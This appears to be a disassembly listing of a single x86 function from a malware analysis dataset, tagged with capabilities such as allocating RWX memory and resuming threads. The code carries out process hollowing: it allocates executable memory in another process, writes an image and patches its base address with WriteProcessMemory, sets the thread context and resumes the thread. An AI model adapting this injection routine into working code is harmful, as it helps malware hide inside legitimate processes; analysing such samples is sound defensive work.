Function at 0x3ec0e40
Capabilities:
Allocate or change rwx memory
Resume thread
Terminate process

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffd0c
push ebx
push esi
xor ebx, ebx
mov dword [ebp - 0xc], ebx
mov ebx, ecx
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
mov esi, dword [ebp + 0xc]
mov eax, dword [ebp - 4]
call fcn.03cb7f34
mov eax, dword [ebp - 8]
call fcn.03cb7f34
xor eax, eax
push ebp
push 0x3ec1042
push dword fs:[eax]
mov dword fs:[eax], esp
mov dword [ebp - 0x10], 0xffffffff
push esi
lea eax, [ebp - 0xc]
push eax
mov ecx, dword [ebx + 0x34]
mov edx, dword [ebp - 8]
mov eax, dword [ebp - 4]
call fcn.03ec0bf8
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0x28]
push eax
mov eax, dword [ebp + 8]
push eax
lea eax, [ebp - 0x14]
push eax
lea eax, [ebp - 0x18]
push eax
lea ecx, [ebp - 0x2f4]
mov edx, dword [ebp - 0xc]
mov eax, dword [ebp - 4]
call fcn.03ec0d14
test al, al
je 0x3ec1027
xor eax, eax
mov dword [ebp - 0x24], eax
mov eax, dword [ebx + 0x34]
cmp eax, dword [ebp - 0x14]
jne 0x3ec0ef7
cmp esi, dword [ebp - 0x18]
ja 0x3ec0ef7
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0x24], eax
lea eax, [ebp - 0x20]
push eax
push 0x40
mov eax, dword [ebp - 0x18]
push eax
mov eax, dword [ebp - 0x24]
push eax
mov eax, dword [ebp - 0x10]
push eax
call sub.kernel32.dll_VirtualProtectEx
mov eax, dword [ebp - 0x20]
mov dword [ebp - 0x1c], eax
jmp 0x3ec0f49
push 0x40
push 0x3000
push esi
mov eax, dword [ebx + 0x34]
push eax
mov eax, dword [ebp - 0x10]
push eax
call sub.kernel32.dll_VirtualAllocEx
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], 0
jne 0x3ec0f49
mov eax, ebx
call fcn.03ec0c94
test al, al
je 0x3ec0f49
push 0x40
push 0x3000
push esi
push 0
mov eax, dword [ebp - 0x10]
push eax
call sub.kernel32.dll_VirtualAllocEx
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], 0
je 0x3ec0f49
mov ecx, dword [ebp - 0x24]
mov edx, dword [ebp + 0x10]
mov eax, ebx
call fcn.03ec0cac
cmp dword [ebp - 0x24], 0
je 0x3ec1003
lea eax, [ebp - 0x1c]
push eax
push 4
lea eax, [ebp - 0x24]
push eax
mov eax, dword [ebp - 0x250]
add eax, 8
push eax
mov eax, dword [ebp - 0x10]
push eax
call sub.kernel32.dll_WriteProcessMemory
mov eax, dword [ebp - 0x24]
mov dword [ebx + 0x34], eax
lea eax, [ebp - 0x1c]
push eax
push esi
mov eax, dword [ebp + 0x10]
push eax
mov eax, dword [ebp - 0x24]
push eax
mov eax, dword [ebp - 0x10]
push eax
call sub.kernel32.dll_WriteProcessMemory
test eax, eax
je 0x3ec0fdd
mov dword [ebp - 0x2f4], 0x10007
mov eax, dword [ebp - 0x24]
cmp eax, dword [ebp - 0x14]
jne 0x3ec0fb0
mov eax, dword [ebx + 0x34]
add eax, dword [ebx + 0x28]
mov dword [ebp - 0x244], eax
jmp 0x3ec0fb9
add eax, dword [ebx + 0x28]
mov dword [ebp - 0x244], eax
lea eax, [ebp - 0x2f4]
push eax
mov eax, dword [ebp - 0x28]
push eax
call sub.kernel32.dll_SetThreadContext
mov eax, dword [ebp - 0x28]
push eax
call sub.kernel32.dll_ResumeThread
mov eax, dword [ebp - 0x28]
push eax
call sub.kernel32.dll_CloseHandle_1
jmp 0x3ec1027
push 0
mov eax, dword [ebp - 0x10]
push eax
call sub.kernel32.dll_TerminateProcess
mov eax, dword [ebp - 0x28]
push eax
call sub.kernel32.dll_CloseHandle_1
mov eax, dword [ebp - 0x10]
push eax
call sub.kernel32.dll_CloseHandle_1
mov dword [ebp - 0x10], 0xffffffff
jmp 0x3ec1027
push 0
mov eax, dword [ebp - 0x10]
push eax
call sub.kernel32.dll_TerminateProcess
mov eax, dword [ebp - 0x28]
push eax
call sub.kernel32.dll_CloseHandle_1
mov eax, dword [ebp - 0x10]
push eax
call sub.kernel32.dll_CloseHandle_1
mov dword [ebp - 0x10], 0xffffffff
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x3ec1049
lea eax, [ebp - 0xc]
mov edx, 3
call fcn.03cb7eb0
ret